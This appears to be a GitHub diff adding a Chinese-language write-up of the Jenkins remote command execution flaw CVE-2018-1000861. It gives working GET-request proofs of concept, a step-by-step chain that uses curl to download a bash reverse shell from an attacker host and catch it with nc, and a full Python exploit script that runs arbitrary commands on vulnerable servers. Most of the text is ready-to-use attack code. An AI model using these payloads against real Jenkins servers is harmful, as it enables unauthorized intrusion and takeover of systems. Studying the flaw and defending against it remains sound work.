|
| 1 | +(CVE-2018-1000861)Jenkins 远程命令执行漏洞 |
| 2 | +============================================ |
| 3 | + |
| 4 | +一、漏洞简介 |
| 5 | +------------ |
| 6 | + |
| 7 | +Jenkins使用Stapler框架开发,其允许用户通过URL |
| 8 | +PATH来调用一次public方法。由于这个过程没有做限制,攻击者可以构造一些特殊的PATH来执行一些敏感的Java方法。 |
| 9 | + |
| 10 | +通过这个漏洞,我们可以找到很多可供利用的利用链。其中最严重的就是绕过Groovy沙盒导致未授权用户可执行任意命令:Jenkins在沙盒中执行Groovy前会先检查脚本是否有错误,检查操作是没有沙盒的,攻击者可以通过Meta-Programming的方式,在检查这个步骤时执行任意命令。 |
| 11 | + |
| 12 | +二、漏洞影响 |
| 13 | +------------ |
| 14 | + |
| 15 | +Jenkins Version \<= 2.56 |
| 16 | + |
| 17 | +Jenkins LTS Version \<= 2.46.1 |
| 18 | + |
| 19 | +三、复现过程 |
| 20 | +------------ |
| 21 | + |
| 22 | +#### 漏洞复现: |
| 23 | + |
| 24 | +##### 1.此漏洞是没有回显的,所以我们这里直接反弹shell: |
| 25 | + |
| 26 | +此漏洞的POC(直接GET请求即可): |
| 27 | + |
| 28 | + GET /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22touch%20/tmp/CVE-2018-1000861_is_success%22.execute()}} |
| 29 | + |
| 30 | +##### 2.我们这里采取下载文件的方法来反弹shell |
| 31 | + |
| 32 | +\(1\) 先在我们的服务器上防止一个文本,内容为: |
| 33 | + |
| 34 | + bash -i >& /dev/tcp/172.26.1.156/9999 0>&1 |
| 35 | + |
| 36 | +\(2\) 然后我们替换POC中执行命令的部分为下载文件的命令: |
| 37 | + |
| 38 | + curl -o /tmp/1.sh http://172.26.1.156:8080/1.txt |
| 39 | + |
| 40 | +替换后的POC: |
| 41 | + |
| 42 | + http://172.26.1.129:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22curl+-o+/tmp/1.sh+http://172.26.1.156:8080/1.txt%22.execute()}} |
| 43 | + |
| 44 | +\(3\) 给予下载的脚本执行权限: |
| 45 | + |
| 46 | + chmod 777 /tmp/1.sh |
| 47 | + |
| 48 | +替换后的POC: |
| 49 | + |
| 50 | + http://172.26.1.129:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22chmod+777+/tmp/1.sh%22.execute()}} |
| 51 | + |
| 52 | +\(4\) 然后在我们接收shell的机器上监听之前写的端口: |
| 53 | + |
| 54 | + nc -lvvp 9999 |
| 55 | + |
| 56 | +\(5\) 直接bash执行我们下载的脚本 |
| 57 | + |
| 58 | + bash /tmp/1.sh |
| 59 | + |
| 60 | +替换后的POC: |
| 61 | + |
| 62 | + http://172.26.1.129:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22bash+/tmp/1.sh%22.execute()}} |
| 63 | + |
| 64 | +\(6\) 回到我们监听端口的机器: |
| 65 | + |
| 66 | +Jenkins远程命令执行漏洞/media/rId27.jpg) |
| 67 | + |
| 68 | +可以看到已经成功获取到了shell! |
| 69 | + |
| 70 | +### poc |
| 71 | + |
| 72 | +**useage** |
| 73 | + |
| 74 | + $ curl -s -I http://jenkins/| grep X-Jenkins |
| 75 | + X-Jenkins: 2.137 |
| 76 | + X-Jenkins-Session: 20f72c2e |
| 77 | + X-Jenkins-CLI-Port: 50000 |
| 78 | + X-Jenkins-CLI2-Port: 50000 |
| 79 | + |
| 80 | + $ python exp.py http://jenkins/ 'curl orange.tw' |
| 81 | + [*] ANONYMOUS_READ disable! |
| 82 | + [*] Bypass with CVE-2018-1000861! |
| 83 | + [*] Exploit success!(it should be :P) |
| 84 | + |
| 85 | +Jenkins远程命令执行漏洞/media/rId29.jpg) |
| 86 | + |
| 87 | + #!/usr/bin/python |
| 88 | + # coding: UTF-8 |
| 89 | + # author: Orange Tsai(@orange_8361) |
| 90 | + # |
| 91 | + |
| 92 | + import sys |
| 93 | + import requests |
| 94 | + from enum import Enum |
| 95 | + |
| 96 | + # remove bad SSL warnings |
| 97 | + try: |
| 98 | + requests.packages.urllib3.disable_warnings() |
| 99 | + except: |
| 100 | + pass |
| 101 | + |
| 102 | + |
| 103 | + endpoint = 'descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript' |
| 104 | + |
| 105 | + class mode(Enum): |
| 106 | + ACL_PATCHED = 0 |
| 107 | + NOT_JENKINS = 1 |
| 108 | + READ_ENABLE = 2 |
| 109 | + READ_BYPASS = 3 |
| 110 | + ENTRY_NOTFOUND = 999 |
| 111 | + |
| 112 | + def usage(): |
| 113 | + print ''' |
| 114 | + Usage: |
| 115 | + python exp.py <url> <cmd> |
| 116 | + ''' |
| 117 | + |
| 118 | + def _log(msg, fail=False): |
| 119 | + nb = '[*]' |
| 120 | + if fail: |
| 121 | + nb = '[-]' |
| 122 | + print '%s %s' % (nb, msg) |
| 123 | + |
| 124 | + def _get(url, params=None): |
| 125 | + r = requests.get(url, verify=False, params=params) |
| 126 | + return r.status_code, r.content |
| 127 | + |
| 128 | + def _add_bypass(url): |
| 129 | + return url + 'securityRealm/user/admin/' |
| 130 | + |
| 131 | + def check(url): |
| 132 | + flag, accessible = mode.ACL_PATCHED, False |
| 133 | + |
| 134 | + # check ANONYMOUS_READ |
| 135 | + status, content = _get(url) |
| 136 | + if status == 200 and 'adjuncts' in content: |
| 137 | + flag, accessible = mode.READ_ENABLE, True |
| 138 | + _log('ANONYMOUS_READ enable!') |
| 139 | + elif status == 403: |
| 140 | + _log('ANONYMOUS_READ disable!') |
| 141 | + |
| 142 | + # check ACL bypass, CVE-2018-1000861 |
| 143 | + status, content = _get(_add_bypass(url)) |
| 144 | + if status == 200 and 'adjuncts' in content: |
| 145 | + flag, accessible = mode.READ_BYPASS, True |
| 146 | + else: |
| 147 | + flag = mode.NOT_JENKINS |
| 148 | + |
| 149 | + # check entry point, CVE-2019-1003005 |
| 150 | + if accessible: |
| 151 | + if flag is mode.READ_BYPASS: |
| 152 | + url = _add_bypass(url) |
| 153 | + status, content = _get(url + endpoint) |
| 154 | + |
| 155 | + if status == 404: |
| 156 | + flag = mode.ENTRY_NOTFOUND |
| 157 | + |
| 158 | + return flag |
| 159 | + |
| 160 | + def exploit(url, cmd): |
| 161 | + payload = 'public class x{public x(){new String("%s".decodeHex()).execute()}}' % cmd.encode('hex') |
| 162 | + params = { |
| 163 | + 'sandbox': True, |
| 164 | + 'value': payload |
| 165 | + } |
| 166 | + |
| 167 | + status, content = _get(url + endpoint, params) |
| 168 | + if status == 200: |
| 169 | + _log('Exploit success!(it should be :P)') |
| 170 | + elif status == 405: |
| 171 | + _log('It seems Jenkins has patched the RCE gadget :(') |
| 172 | + else: |
| 173 | + _log('Exploit fail with HTTP status [%d]' % status, fail=True) |
| 174 | + if 'stack trace' in content: |
| 175 | + for _ in content.splitlines(): |
| 176 | + if _.startswith('Caused:'): |
| 177 | + _log(_, fail=True) |
| 178 | + |
| 179 | + if __name__ == '__main__': |
| 180 | + if len(sys.argv) != 3: |
| 181 | + usage() |
| 182 | + exit() |
| 183 | + |
| 184 | + url = sys.argv[1].rstrip('/') + '/' |
| 185 | + cmd = sys.argv[2] |
| 186 | + |
| 187 | + flag = check(url) |
| 188 | + if flag is mode.ACL_PATCHED: |
| 189 | + _log('It seems Jenkins is up-to-date(>2.137) :(', fail=True) |
| 190 | + elif flag is mode.NOT_JENKINS: |
| 191 | + _log('Is this Jenkins?', fail=True) |
| 192 | + elif flag is mode.READ_ENABLE: |
| 193 | + exploit(url, cmd) |
| 194 | + elif flag is mode.READ_BYPASS: |
| 195 | + _log('Bypass with CVE-2018-1000861!') |
| 196 | + exploit(_add_bypass(url), cmd) |
| 197 | + else: |
| 198 | + _log('The `checkScript` is not found, please try other entries(see refs)', fail=True) |
0 commit comments